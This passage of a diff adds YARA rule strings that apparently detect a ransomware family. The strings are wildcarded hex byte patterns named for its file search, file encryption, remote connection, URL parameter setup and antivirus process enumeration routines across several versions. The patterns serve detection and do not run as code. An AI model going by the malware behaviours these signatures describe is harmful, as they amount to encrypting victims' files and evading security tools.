+            ?? ?? ?? ?? FF 45 ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 6A ?? 8D 0C 41 8B 45 ??
+            81 F9 ?? ?? ?? ?? 89 4D ?? 59 0F 47 C1 89 45 ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0
+            74 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 85 DB 74 ?? 8B 07 33 C9 66 39 08
+            74 ?? 50 FF 15 ?? ?? ?? ?? 8B 0F 33 D2 66 89 54 41 ?? 8B 45 ?? 8B 4D ?? 89 08 68 ??
+            ?? ?? ?? 33 C0 50 56 8B 35 ?? ?? ?? ?? FF D6 FF 75 ?? FF 15 ?? ?? ?? ?? 85 DB 75 ??
+            68 ?? ?? ?? ?? 33 C0 50 FF 37 FF D6 8B C3 5F 5E 5B 8B E5 5D C2
+        }
+		$find_files_v5 = {
+            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 33 FF 89 54 24 ?? 8B F1 89 7C 24 ?? 39
+            7D ?? 75 ?? 8D 54 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 85 C0 75 ?? 85 DB 75 ?? 33 C0 E9
+            ?? ?? ?? ?? 33 DB 43 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 66 83 3E ?? 74 ?? 8D 54 24 ??
+            89 7C 24 ?? 8B CE E8 ?? ?? ?? ?? 89 44 24 ?? 39 7C 24 ?? 75 ?? 56 FF 15 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 56 8D 04 46 89 44 24 ?? FF 15 ?? ?? ?? ?? 6A ?? 57 57 8D 44 24 ?? 50
+            6A ?? 56 FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 33 D2 89 44 24 ?? 66 89 11 83 F8 ?? 75 ?? BF
+            ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74
+            ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 44 24 ?? 50 56 FF
+            15 ?? ?? ?? ?? F6 44 24 ?? ?? 74 ?? 85 DB 74 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ??
+            85 C0 74 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8B 54 24 ?? 8B CE E8 ?? ?? ??
+            ?? EB ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 57 EB ?? FF 74 24 ?? 8D 54 24 ?? 8B CE
+            E8 ?? ?? ?? ?? 59 8B 44 24 ?? 33 C9 66 89 08 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ??
+            ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ??
+            ?? ?? 8B C7 5F 5E 5B 8B E5 5D C3
+        }
+		$crypt_files_v5 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B D9 89 55 ?? 33 FF 89 5D ?? 21 7D ?? B9 ?? ??
+            ?? ?? 89 7D ?? E8 ?? ?? ?? ?? 8B F0 89 75 ?? 85 F6 75 ?? 33 C0 E9 ?? ?? ?? ?? FF 75
+            ?? 8D 55 ?? 56 8D 4D ?? E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8B CE E8 ?? ?? ?? ?? EB ??
+            33 C0 50 68 ?? ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B D8 83 FB
+            ?? 75 ?? 33 C0 50 68 ?? ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ??
+            ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? FF 70 ?? FF 70 ?? 6A ?? 6A ?? 53 FF 15
+            ?? ?? ?? ?? 6A ?? 58 C6 45 ?? ?? 48 75 ?? 51 68 ?? ?? ?? ?? 8D 55 ?? 8D 8D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 8B 8E ?? ?? ?? ?? 21 7D ?? 21 7D ?? 41 89 45 ??
+            8B 45 ?? 89 45 ?? E8 ?? ?? ?? ?? 8B 8E ?? ?? ?? ?? 83 C1 ?? 89 45 ?? E8 ?? ?? ?? ??
+            89 45 ?? 33 FF 6A ?? 8D 45 ?? 50 FF B6 ?? ?? ?? ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85
+            C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 3B 86 ?? ?? ?? ?? 8B 55 ?? 6A
+            ?? 59 0F 42 F9 83 7D ?? ?? 8D 8D ?? ?? ?? ?? 0F 45 7D ?? 01 86 ?? ?? ?? ?? 89 7D ??
+            83 96 ?? ?? ?? ?? ?? 8B 45 ?? 50 FF 75 ?? 89 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 59 59 33
+            C9 F7 D8 41 99 51 6A ?? 52 50 53 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75
+            ?? 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 75 ?? 8B 7D ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ??
+            8D 45 ?? 50 57 56 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 75 ?? 8B 7D ?? 33 C0 40 01 86
+            ?? ?? ?? ?? 83 96 ?? ?? ?? ?? ?? EB ?? 33 C0 8D 78 ?? 85 FF 0F 84 ?? ?? ?? ?? 83 7D
+            ?? ?? 74 ?? 6A ?? 6A ?? 0F 57 C0 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ??
+            ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 56 53 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B F8 89 7D ??
+            E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ??
+            85 FF 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? 83 65 ?? ?? 83 65 ?? ?? 8B 35 ??
+            ?? ?? ?? FF D6 8D 0C 45 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F8 33 C0 40 83 67 ??
+            ?? 88 07 FF D6 FF 75 ?? 03 C0 89 47 ?? FF D6 8D 04 45 ?? ?? ?? ?? 50 FF 75 ?? 8D 47
+            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF 75 ?? FF D6 8D 04 45 ?? ?? ?? ?? 50 57 8D 45
+            ?? 50 53 FF 15 ?? ?? ?? ?? 8B 4D ?? 89 01 8B CF E8 ?? ?? ?? ?? 8B 7D ?? 8B 45 ?? FF
+            70 ?? FF 70 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B C7 5F 5E 5B
+            8B E5 5D C3
+        }
+		$remote_connection_v5 = {
+            55 8B EC 83 EC ?? 53 8B 1D ?? ?? ?? ?? 56 8B F1 57 83 7E ?? ?? 74 ?? FF 76 ?? FF D3
+            8B CE E8 ?? ?? ?? ?? 33 FF 57 57 6A ?? 57 57 FF 75 ?? FF 75 ?? FF 76 ?? FF 15 ?? ??
+            ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ??
+            83 C4 ?? B8 ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 44 C8 57 51 57 57 68
+            ?? ?? ?? ?? 56 8B 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? FF
+            75 ?? FF 75 ?? FF 75 ?? FF 75 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 33 FF 47 EB ?? FF
+            15 ?? ?? ?? ?? 8B 45 ?? 50 FF D3 56 FF D3 8D 4D ?? E8 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B
+            E5 5D C2
+        }
+		$remote_connection_v5_0_1 = {
+            55 8B EC 83 EC ?? 53 8B 1D ?? ?? ?? ?? 56 8B F1 57 83 7E ?? ?? 74 ?? FF 76 ?? FF D3
+            8B CE E8 ?? ?? ?? ?? 33 FF 57 57 6A ?? 57 57 FF 75 ?? FF 75 ?? FF 76 ?? FF 15 ?? ??
+            ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ??
+            83 C4 ?? B8 ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 44 C8 57 51 57 57 68
+            ?? ?? ?? ?? 56 8B 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? FF
+            75 ?? FF 75 ?? FF 75 ?? FF 75 ?? 50 FF 15 ?? ?? ?? ?? 33 C9 41 85 C0 8B 45 ?? 0F 45
+            F9 50 FF D3 56 FF D3 8D 4D ?? E8 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C2
+        }
+		$url_parameters_setup_v5 = {
+            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ??
+            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ??
+            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45
+            ?? 8B 45 ?? 8D 8C 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ??
+            75 ?? 6A ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF
+            15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF
+            35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? FF 35
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
+            D1 E0 A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? D1 E0 8B D0 8B 0D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A
+            ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ??
+            ?? 73 ?? 83 65 ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A
+            ?? FF 75 ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15 ?? ??
+            ?? ?? 83 7D ?? ?? 74 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B E5 5D C3
+        }
+		$url_parameters_setup_v5_0_1 = {
+            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ??
+            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ??
+            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45
+            ?? 8B 45 ?? 8D 8C 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ??
+            75 ?? 6A ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF
+            15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF
+            35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? FF 35
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
+            D1 E0 A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? D1 E0 8B D0 8B 0D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A
+            ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ??
+            ?? 73 ?? 83 65 ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A
+            ?? FF 75 ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15 ?? ??
+            ?? ?? 83 7D ?? ?? 74 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B E5 5D C3
+        }
+		$crypt_files_v5_0_1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B D9 89 55 ?? 33 FF 89 5D ?? 21 7D ?? B9 ?? ??
+            ?? ?? 89 7D ?? E8 ?? ?? ?? ?? 8B F0 33 C0 89 75 ?? 85 F6 0F 84 ?? ?? ?? ?? 50 68 ??
+            ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 75 ?? 33 C0
+            50 68 ?? ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B D8 83 FB
+            ?? 0F 84 ?? ?? ?? ?? 8B 7D ?? FF 77 ?? FF 77 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 6A
+            ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 8D 45 ?? 50 68
+            ?? ?? ?? ?? 56 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 81 BE ?? ?? ?? ?? ?? ?? ?? ?? 75 ??
+            81 BE ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? FF 77 ?? FF 77 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ??
+            ?? 53 FF 15 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 6A ?? 6A ?? 0F 57
+            C0 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? FF 75 ?? 83 65 ?? ?? 8D 55
+            ?? 56 8D 4D ?? E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A ?? 58 C6 45 ?? ?? 48 75 ?? 51 68
+            ?? ?? ?? ?? 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 8B 8E ?? ??
+            ?? ?? 83 65 ?? ?? 83 65 ?? ?? 41 89 45 ?? 8B 45 ?? 89 45 ?? E8 ?? ?? ?? ?? 8B 8E ??
+            ?? ?? ?? 83 C1 ?? 89 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 33 FF 6A ?? 8D 45 ?? 50 FF B6 ??
+            ?? ?? ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84
+            ?? ?? ?? ?? 3B 86 ?? ?? ?? ?? 8B 55 ?? 6A ?? 59 0F 42 F9 83 7D ?? ?? 8D 8D ?? ?? ??
+            ?? 0F 45 7D ?? 01 86 ?? ?? ?? ?? 89 7D ?? 83 96 ?? ?? ?? ?? ?? 8B 45 ?? 50 FF 75 ??
+            89 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 59 59 33 C9 F7 D8 41 99 51 6A ?? 52 50 53 FF 15 ??
+            ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 75
+            ?? 8B 7D ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 57 56 53 FF 15 ?? ?? ?? ?? 85
+            C0 74 ?? 8B 75 ?? 8B 7D ?? 33 C0 40 01 86 ?? ?? ?? ?? 83 96 ?? ?? ?? ?? ?? EB ?? 33
+            C0 8D 78 ?? 85 FF 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 6A ?? 6A ?? 0F 57 C0 66 0F 13
+            45 ?? FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 56 53
+            FF 15 ?? ?? ?? ?? 8B 4D ?? 8B F8 89 7D ?? E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B
+            CE E8 ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ??
+            FF 75 ?? 83 65 ?? ?? 83 65 ?? ?? 8B 35 ?? ?? ?? ?? FF D6 8D 0C 45 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? FF 75 ?? 8B F8 33 C0 40 83 67 ?? ?? 88 07 FF D6 FF 75 ?? 03 C0 89 47 ?? FF
+            D6 8D 04 45 ?? ?? ?? ?? 50 FF 75 ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF 75
+            ?? FF D6 8D 04 45 ?? ?? ?? ?? 50 57 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 8B 4D ?? 89 01
+            8B CF E8 ?? ?? ?? ?? 8B 7D ?? 8B 45 ?? FF 70 ?? FF 70 ?? 6A ?? 6A ?? 53 FF 15 ?? ??
+            ?? ?? 53 FF 15 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C3
+        }
+		$find_files_v5_0_1 = {
+            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 33 FF 89 54 24 ?? 8B F1 89 7C 24 ?? 39
+            7D ?? 75 ?? 8D 54 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 85 C0 75 ?? 85 DB 75 ?? 33 C0 E9
+            ?? ?? ?? ?? 33 DB 43 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 66 83 3E ?? 74 ?? 8D 54 24 ??
+            89 7C 24 ?? 8B CE E8 ?? ?? ?? ?? 89 44 24 ?? 39 7C 24 ?? 75 ?? 56 FF 15 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 56 8D 04 46 89 44 24 ?? FF 15 ?? ?? ?? ?? 6A ?? 57 57 8D 44 24 ?? 50
+            6A ?? 56 FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 33 D2 89 44 24 ?? 66 89 11 83 F8 ?? 75 ?? BF
+            ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74
+            ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 44 24 ?? 50 56 FF
+            15 ?? ?? ?? ?? F6 44 24 ?? ?? 74 ?? 85 DB 74 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ??
+            85 C0 74 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8B 54 24 ?? 8B CE E8 ?? ?? ??
+            ?? EB ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 57 EB ?? FF 74 24 ?? 8D 54 24 ?? 8B CE
+            E8 ?? ?? ?? ?? 59 8B 44 24 ?? 33 C9 66 89 08 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ??
+            ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ??
+            ?? ?? 8B C7 5F 5E 5B 8B E5 5D C3
+        }
+		$search_antivirus_processes_v5_0_1 = {
+            55 8B EC 83 EC ?? 53 56 8B 35 ?? ?? ?? ?? BB ?? ?? ?? ?? 57 6A ?? 53 68 ?? ?? ?? ??
+            33 C0 50 FF D6 8B 7D ?? 6A ?? 53 6A ?? 33 DB 89 07 53 C7 45 ?? ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? FF D6 8B F0 85 F6 75 ?? 33 C0 E9 ?? ?? ?? ?? 53 6A ?? C7 06 ?? ?? ?? ??
+            FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 68 ?? ?? ?? ?? 53 56 FF 15 ?? ?? ?? ?? EB
+            ?? 56 33 C9 89 5D ?? 50 89 5D ?? 89 4D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
+            83 7D ?? ?? 0F 85 ?? ?? ?? ?? 33 C0 8D 4E ?? 89 45 ?? 51 FF 74 85 ?? FF 15 ?? ?? ??
+            ?? 85 C0 74 ?? 8B 45 ?? 8D 4E ?? 40 89 45 ?? 83 F8 ?? 72 ?? EB ?? 33 C0 39 45 ?? 8D
+            58 ?? 8D 46 ?? 50 FF 37 75 ?? FF 15 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? FF 37 FF 15 ?? ?? ?? ?? FF 45 ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 6A ?? 8D
+            0C 41 8B 45 ?? 81 F9 ?? ?? ?? ?? 89 4D ?? 59 0F 47 C1 89 45 ?? 56 FF 75 ?? FF 15 ??
+            ?? ?? ?? 85 C0 74 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 85 DB 74 ?? 8B 07
+            33 C9 66 39 08 74 ?? 50 FF 15 ?? ?? ?? ?? 8B 0F 33 D2 66 89 54 41 ?? 8B 45 ?? 8B 4D
+            ?? 89 08 68 ?? ?? ?? ?? 33 C0 50 56 8B 35 ?? ?? ?? ?? FF D6 FF 75 ?? FF 15 ?? ?? ??
+            ?? 85 DB 75 ?? 68 ?? ?? ?? ?? 33 C0 50 FF 37 FF D6 8B C3 5F 5E 5B 8B E5 5D C2
+        }
+		$set_url_parameters_v5_0_2 = {
+            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ??
+            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ??
+            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45
+            ?? 8B 45 ?? 8D 8C 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ??
+            75 ?? 6A ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF
+            15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF
+            35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? FF 35
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
+            D1 E0 A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? D1 E0 8B D0 8B 0D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A
+            ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ??
+            ?? 73 ?? 83 65 ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A
+            ?? FF 75 ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15 ?? ??
